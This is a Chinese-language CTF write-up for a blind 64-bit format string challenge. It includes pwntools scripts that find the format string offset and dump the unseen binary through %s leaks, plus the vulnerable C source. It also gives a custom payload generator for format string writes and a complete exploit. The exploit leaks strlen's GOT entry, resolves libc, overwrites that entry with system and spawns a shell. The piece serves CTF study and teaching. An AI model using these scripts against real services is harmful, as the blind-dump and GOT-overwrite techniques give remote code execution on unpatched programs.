Blindpwn-64位有偏移

点击此处获得更好的阅读体验


WriteUp来源

https://xz.aliyun.com/t/6912

题目考点

解题思路

首先没有题目,只有端口,连接上去,测试,发现,存在格式化字符串漏洞

然后同时也没有任何数据的回显,只是不断的重复循环,输出你输入的内容

这里需要注意的是,可以通过输入空格或者特殊字符来初步猜测的判断,输入函数是gets还是scanf还是read...因为这三者对于输入的数据的读取是不同的,就比如我本次输入1\n,它却显示了两个换行,那么这个很可能是read函数用来接收输入,但这里只能是猜测,因为read是最好的利用函数...

那么,开始思考,我们目前没有任何有用的信息,该如何获取到有用的信息

这里就需要对于pwn进行盲打,dump整个程序下来...

然后根据dump下来的程序来寻找程序的地址,进行分析

同时因为输入%p 返回的是8个字节的数据,所以是64位程序

dump程序

计算偏移

dump程序需要首先知道格式化字符串函数的偏移

所以step 1--计算偏移

由于不喜欢手算,直接pwntools跑,加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./stilltest"
libcFileName = ""
ip = "0.0.0.0"
port = 10001

Debug = 1
if Debug:
io = process(elfFileName)
else:
io = remote(ip,port)

# calculate the offset
def exec_fmt(payload):
io.recvuntil("\nPlease tell me:")
io.sendline(payload)
info = io.recvuntil("\n")
return info


auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)

io.interactive()

'''
[*] Found format string offset: 8
offset is 8
'''

那么开始快乐的dump程序

dump代码编写

如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开

dump代码编写,其实有点头疼,因为其实对于数据处理来容易出现失误(输出的数据的尾巴,需要处理掉),网上有些博客上提供的dump脚本,有些都是错的...这里整理各位大佬的脚本,最后写出了一个比较合理的脚本

dump需要注意前面输出的内容,9个字节的Repeater:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'#critical/debug
p = process("./stilltest")
f = open("stilltestbin", "ab+")
#f = open("64weiba", "ab+")

begin = 0x400000
offset = 0
i=0
p.recvuntil('Please tell me:')
while True:#i<13:#True:#
addr = begin + offset
p.sendline("%10$saabbccddeef" + p64(addr))
try:
#info = p.recv(4)
info = p.recvuntil('aabbccddeef',drop=True)[9:]
remain = p.recvrepeat(0.2)#recv the tail to dump in cicle
print info.encode("hex")
print len(info)
except EOFError:
print "offset is " + str(offset)
break
if len(info)==0:
print "info is null"
offset += 1
f.write('\x00')
else:
info += "\x00"
offset += len(info)
f.write(info)
f.flush()
#i = i + 1
print "offset is " + str(offset)
f.close()
p.close()
#'''

前面可以先利用我设计的i来测试基地址,因为我们根本不知道这个程序的保护机制,所以我们没法知道是否开启了ASLR,那么测试基地址重要性,就来了,64位程序的基地址是0x400000,如果在此地址上面,返回的数据的确是0x7F454C46,那么就是没有开启ASLR

然后其中有段remain = p.recvrepeat(0.2)#tail这里很重要,就是为了读取前面截断数据后面输出的垃圾数据,这也是很多博客提供的脚本没法dump的原因...(不知道他们是如何dump的,可能有什么其它的骚操作?)

还有一个就是,读取的所有null,都应该转换为\x00,这样子就可以把scanf读取数据00截断的问题,给解决了

这个出现一个问题,就是偏移到了4096字节,就会报错

首先操作系统中分页上 512 * 8 = 4096个字节为一页,而且分析了很多不同的64位elf文件,发现有两个段之间的偏移会很大...你看

后面的段,从开始到文件结尾都是固定长度,但是我们一直dump,只能dump到这里,就会结束,因为一页,没了,那么后面的程序.got,.got.plt 和extern,如果愿意,也可以找到地址去dump到部分的地址值,最后根据plt/got表的格式进行分析,但是这太麻烦,需要分析文件头的结构中记录的地址偏移....(如果想要dump也可以用我的脚本,修改上你计算过的地址偏移,再把后面的数据dump下来,容易出问题,但是只要计算的值是对的,就没问题)

那么在这里,我们拿着残缺的程序,其实还是可以分析的...

dump程序的分析

dump下来的程序没法运行,同时载入的时候需要设置一下...

我们直接ida打开,找到代码段,分析汇编代码...

其实和分析32位程序一样的,虽然没法一下子找到start代码中对应的main的地址,但是我们通过分析汇编跳转,我们还是很容易找到,main函数的地址的...readelf -h 读取elf header,找到start函数地址,然后找到main函数的地址

但是这里我们最好不要反汇编出来,因为真的没什么用,64位程序的参数都是放入寄存器的,分析汇编出结果,比分析反汇编出来的伪代码来的快

如果不改,直接分析汇编代码,仔细分析,根据提示.txt,还是可以看出结构的..

慢慢分析这个结构就出来了:慢慢自己改名字...这里为什么不要根据F5出来的结果来看参数,要看汇编代码来判断

循环,调用函数...emmm,确实头疼,要猜,要根据功能和提示,才能最后判断...

那么剩下的就是去找到不同函数的got表的地址,熟悉plt表和got原理就知道双击strlen.可以泄露strlen函数地址

OK,完全简单了...就是简单的格式化字符串漏洞了,写exp...

exp

写exp注意00截断

发现printf函数的地址是不能用来泄露的...

我发现问题出现在于printf函数的地址上,很多时候pwn题在载入的时候,这个函数的地址都会是被scanf printf函数给解析的,解析了他们地址上的特殊符号...所以这个真的不好用...只能最好找到替代品,puts函数,或者strlen函数...常见的是strlen函数和puts函数一直都是格式化字符串钟爱的使用漏洞点...

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

int main(void){
//init
setbuf(stdout,0);
setbuf(stdin,0);
setbuf(stderr,0);
printf("Hello,I am a computer Repeater updated.\nAfter a lot of machine learning,I know that the essence of man is a reread machine!\n");
printf("So I'll answer whatever you say!\n");

char buf[257];
char format[300];
unsigned int len1 = 0;
while(1){
alarm(3);
memset(buf,0,sizeof(char)*257);
memset(format,0,sizeof(char)*300);
printf("Please tell me:");
read(0,buf,256);
sprintf(format,"Repeater:%s\n",buf);
len1 = strlen(format);
if(len1 > 270){
printf("what you input is really long!");
exit(0);
}
printf(format);
}
printf("game over!\n");
return 0;
}

解题思路还是和32位一样:

找到strlen函数的地址,直接利用plt/got的知识,寻找到就行...

  • leak address

  • use LibcSearcher to find libc

  • getshell

自己写的一个关键函数

但是getshell cover覆盖地址的时候需要改变代码:(珍贵的反序函数代码用来把地址放在后面...纯手工冰粉,现做现卖...)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
config = {
32 : {
'byte': (4, 1, 0xFF, 'hh', 8),
'short': (2, 2, 0xFFFF, 'h', 16),
'int': (1, 4, 0xFFFFFFFF, '', 32)},
64 : {
'byte': (8, 1, 0xFF, 'hh', 8),
'short': (4, 2, 0xFFFF, 'h', 16),
'int': (2, 4, 0xFFFFFFFF, '', 32)
}
}

if write_size not in ['byte', 'short', 'int']:
log.error("write_size must be 'byte', 'short' or 'int'")

number, step, mask, formatz, decalage = config[context.bits][write_size]

payload = ""

payload_last = ""
for where,what in writes.items():
for i in range(0,number*step,step):
payload_last += pack(where+i)

fmtCount = 0
payload_forward = ""

key_toadd = []
key_offset_fmtCount = []


for where,what in writes.items():
for i in range(0,number):
current = what & mask
if numbwritten & mask <= current:
to_add = current - (numbwritten & mask)
else:
to_add = (current | (mask+1)) - (numbwritten & mask)

if to_add != 0:
key_toadd.append(to_add)
payload_forward += "%{}c".format(to_add)
else:
key_toadd.append(to_add)
payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
key_offset_fmtCount.append(offset + fmtCount)
#key_formatz.append(formatz)

numbwritten += to_add
what >>= decalage
fmtCount += 1


len1 = len(payload_forward)

key_temp = []
for i in range(len(key_offset_fmtCount)):
key_temp.append(key_offset_fmtCount[i])

x_add = 0
y_add = 0
while True:

x_add = len1 / 8 + 1
y_add = 8 - (len1 % 8)

for i in range(len(key_temp)):
key_temp[i] = key_offset_fmtCount[i] + x_add

payload_temp = ""
for i in range(0,number):
if key_toadd[i] != 0:
payload_temp += "%{}c".format(key_toadd[i])
payload_temp += "%{}${}n".format(key_temp[i], formatz)

len2 = len(payload_temp)

xchange = y_add - (len2 - len1)
if xchange >= 0:
payload = payload_temp + xchange*'a' + payload_last
return payload;
else:
len1 = len2

完整exp

那么完整的exp对于增加了strlen函数的题目之后就是这样子了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#-*- coding:utf-8 –*-
from pwn import *
import time
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
io = process("./stilltest")
else:
io = remote('0.0.0.0',10003)

def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
config = {
32 : {
'byte': (4, 1, 0xFF, 'hh', 8),
'short': (2, 2, 0xFFFF, 'h', 16),
'int': (1, 4, 0xFFFFFFFF, '', 32)},
64 : {
'byte': (8, 1, 0xFF, 'hh', 8),
'short': (4, 2, 0xFFFF, 'h', 16),
'int': (2, 4, 0xFFFFFFFF, '', 32)
}
}

if write_size not in ['byte', 'short', 'int']:
log.error("write_size must be 'byte', 'short' or 'int'")

number, step, mask, formatz, decalage = config[context.bits][write_size]

payload = ""

payload_last = ""
for where,what in writes.items():
for i in range(0,number*step,step):
payload_last += pack(where+i)

fmtCount = 0
payload_forward = ""

key_toadd = []
key_offset_fmtCount = []


for where,what in writes.items():
for i in range(0,number):
current = what & mask
if numbwritten & mask <= current:
to_add = current - (numbwritten & mask)
else:
to_add = (current | (mask+1)) - (numbwritten & mask)

if to_add != 0:
key_toadd.append(to_add)
payload_forward += "%{}c".format(to_add)
else:
key_toadd.append(to_add)
payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
key_offset_fmtCount.append(offset + fmtCount)
#key_formatz.append(formatz)

numbwritten += to_add
what >>= decalage
fmtCount += 1


len1 = len(payload_forward)

key_temp = []
for i in range(len(key_offset_fmtCount)):
key_temp.append(key_offset_fmtCount[i])

x_add = 0
y_add = 0
while True:

x_add = len1 / 8 + 1
y_add = 8 - (len1 % 8)

for i in range(len(key_temp)):
key_temp[i] = key_offset_fmtCount[i] + x_add

payload_temp = ""
for i in range(0,number):
if key_toadd[i] != 0:
payload_temp += "%{}c".format(key_toadd[i])
payload_temp += "%{}${}n".format(key_temp[i], formatz)

len2 = len(payload_temp)

xchange = y_add - (len2 - len1)
if xchange >= 0:
payload = payload_temp + xchange*'a' + payload_last
return payload;
else:
len1 = len2
#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
strlen_got = 0x601020
strlen_leak = "%9$s" + "SEND" + p64(strlen_got)
io.send(strlen_leak)
io.recvuntil('Repeater:')
libc_strlen = u64(io.recvuntil('SEND', drop=True).ljust(8, '\x00'))
print hex(libc_strlen)
#libc_printf = u64(io.recv()[8:16])
#print hex(libc_printf)
io.recv()

#step 2 find the libc
libc = LibcSearcher('strlen',libc_strlen)
libcbase = libc_strlen - libc.dump('strlen')
system_addr = libcbase + libc.dump('system')
print hex(system_addr)
#step 3 cover the address

payload_antitone = antitone_fmt_payload(8,{strlen_got : system_addr},write_size='short',numbwritten=9)
#payload_cover = fmtstr_payload(8,{putchar_got : system_addr},write_size='short')
io.sendline(payload_antitone)
io.recv()

#step 4 get shell
#time.sleep(10)
io.sendline(";/bin/sh\x00")
#io.recv()
print hex(system_addr)
io.interactive()

参考链接